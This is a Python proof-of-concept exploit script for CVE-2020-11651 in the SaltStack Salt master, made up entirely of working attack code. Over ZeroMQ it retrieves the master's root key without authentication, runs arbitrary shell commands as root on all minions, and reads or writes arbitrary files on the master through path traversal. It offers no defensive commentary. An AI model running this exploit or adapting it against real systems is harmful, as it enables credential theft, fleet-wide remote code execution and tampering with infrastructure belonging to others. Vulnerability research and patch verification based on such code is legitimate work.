poc.py

import os
import sys
import argparse
from datetime import datetime
try:
    import zmq
except ImportError:
    print("[!] Error importing zmq. Try 'python3 -m pip install pyzmq'")
    sys.exit()

try:
    import msgpack
except ImportError:
    print("[!] Error importing msgpack. Try 'python3 -m pip install msgpack'")
    sys.exit()


def get_root_key(connection_string):
    print("[+] Connecting to {0}".format(connection_string))
    context = zmq.Context()
    socket = context.socket(zmq.REQ)
    socket.connect(connection_string)

    print("[+] Trying to read root key")
    msg = msgpack.packb({"enc": "clear", "load":{'cmd': '_prep_auth_info'}}, use_bin_type=True)

    print("  [-] Sending Paylod")
    socket.send(msg)

    print("  [-] Reading Reponse")
    response = socket.recv()

    print("  [-] Parsing Reponse for key")
    decoded_response = msgpack.unpackb(response)
    try:
        root_key = decoded_response[2]['root']
        print("  [+] Root key found: '{0}'".format(root_key))
    except:
        print("  [!] Root key not found!")
    
    socket.close()
    print("[+] Closing Socket")
    return root_key


def run_on_minion(connection_string, cmd_string):
    print("[+] Connecting to {0}".format(connection_string))
    context = zmq.Context()
    socket = context.socket(zmq.REQ)
    socket.connect(connection_string)
    print("[+] Trying to send command to minions")

    now = datetime.now()

    jid = '{0:%Y%m%d%H%M%S%f}'.format(now)

    msg_payload = {
            "enc": "clear",
            "load": {
                "arg": [
                    cmd_string
                ],
                "cmd": "_send_pub",
                "fun": "cmd.run",
                "jid": jid,
                "kwargs": {
                    "show_jid": False,
                    "show_timeout": True
                },
                "ret": "",
                "tgt": "*",
                "tgt_type": "glob",
                "user": "root"
            }
        }
    msg = msgpack.packb(msg_payload, use_bin_type=True)

    print("  [-] Sending Payload")
    socket.send(msg)

    print("  [-] Reading Reponse")
    response = socket.recv()
    
    decoded_response = msgpack.unpackb(response)
    if not decoded_response:
        print("  [-] There is no output to this command; however no errors detected")

    socket.close()
    print("[+] Closing Socket")

def read_on_master(connection_string, file_path):
    print("[+] Get the root key first")
    root_key = get_root_key(connection_string)
    print("[+] Now try to read your file from the master")
    print("[+] Connecting to {0}".format(connection_string))
    context = zmq.Context()
    socket = context.socket(zmq.REQ)
    socket.connect(connection_string)
    print("[+] Trying to send command to Master")
    payload = {
        "enc": "clear",
        "load":{
            'key': root_key,
            'cmd': 'wheel',
            'fun':'file_roots.read',
            'path': os.path.join('..', '..', '..', '..', file_path),
            'saltenv':'base'
            }
    }

    msg = msgpack.packb(payload, use_bin_type=True)

    print("  [-] Sending Paylod")
    socket.send(msg)

    print("  [-] Reading Reponse")
    response = socket.recv()

    print("  [-] Parsing Reponse")
    decoded_response = msgpack.unpackb(response)

    try:
        file_data = decoded_response['data']['return'][0][file_path]
        print(file_data)
    except:
        print(decoded_response)

    socket.close()
    print("[+] Closing Socket")


def write_on_master(connection_string, file_path, input_file):
    print("[+] Get the root key first")
    root_key = get_root_key(connection_string)
    print("[+] Now try to write your file on the master")
    print("[+] Connecting to {0}".format(connection_string))
    context = zmq.Context()
    socket = context.socket(zmq.REQ)
    socket.connect(connection_string)
    print("[+] Trying to send command to Master")
    payload = {
        "enc": "clear",
        "load":{
            'key': root_key,
            'cmd': 'wheel',
            'fun':'file_roots.write',
            'data': open(input_file, 'rb').read(),
            'path': '../../../../../..{0}'.format(file_path),
            'saltenv':'base'
            }
    }

    msg = msgpack.packb(payload, use_bin_type=True)

    print("  [-] Sending Paylod")
    socket.send(msg)

    print("  [-] Reading Reponse")
    response = socket.recv()

    print("  [-] Parsing Reponse")
    decoded_response = msgpack.unpackb(response)

    try:
        file_data = decoded_response['data']['return']['success']
        print(file_data)
    except:
        print(decoded_response)

    socket.close()
    print("[+] Closing Socket")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='Exploit CVE-2020-11651',
        epilog='Example: poc.py -k 127.0.0.1 (Read the root key)'
        )
    parser.add_argument('server', nargs='+', help='Target Server IP or Host')
    parser.add_argument('-p', '--port', help='Target Port (Default=4506)', type=int, default=4506)

    parser.add_argument('-c', '--cmd', help="Command to execute")
    
    parser.add_argument('-k', '--key', action="store_true", help="Retrieve Root Key")
    parser.add_argument('-m', '--minions', action="store_true", help="Run CMD on all active minions")
    parser.add_argument('-r', '--read',  help="Read a file from the Salt Master")
    parser.add_argument('-w', '--write',  help="Write a file from the Salt Master")
    parser.add_argument('-f', '--file',  help="Used with --write, local file to write to Salt Master")
    args = parser.parse_args()

    if not args.server:
        print("[!] You need to specify the target server")
        sys.exit()

    connection_string = "tcp://{0}:{1}".format(args.server[0], args.port)

    if args.key:
        get_root_key(connection_string)
        sys.exit()

    if args.minions:
        if not args.cmd:
            print("[!] You need to provide a command to execute on all minions")
        else:
            run_on_minion(connection_string, args.cmd)
        
        sys.exit()

    if args.read:
        read_on_master(connection_string, args.read)
        
        sys.exit()

    if args.write:
        if not args.file:
            print("[!] You need to provide a local file to write to the Salt Master")
        else:
            write_on_master(connection_string, args.write, args.file)
        
        sys.exit()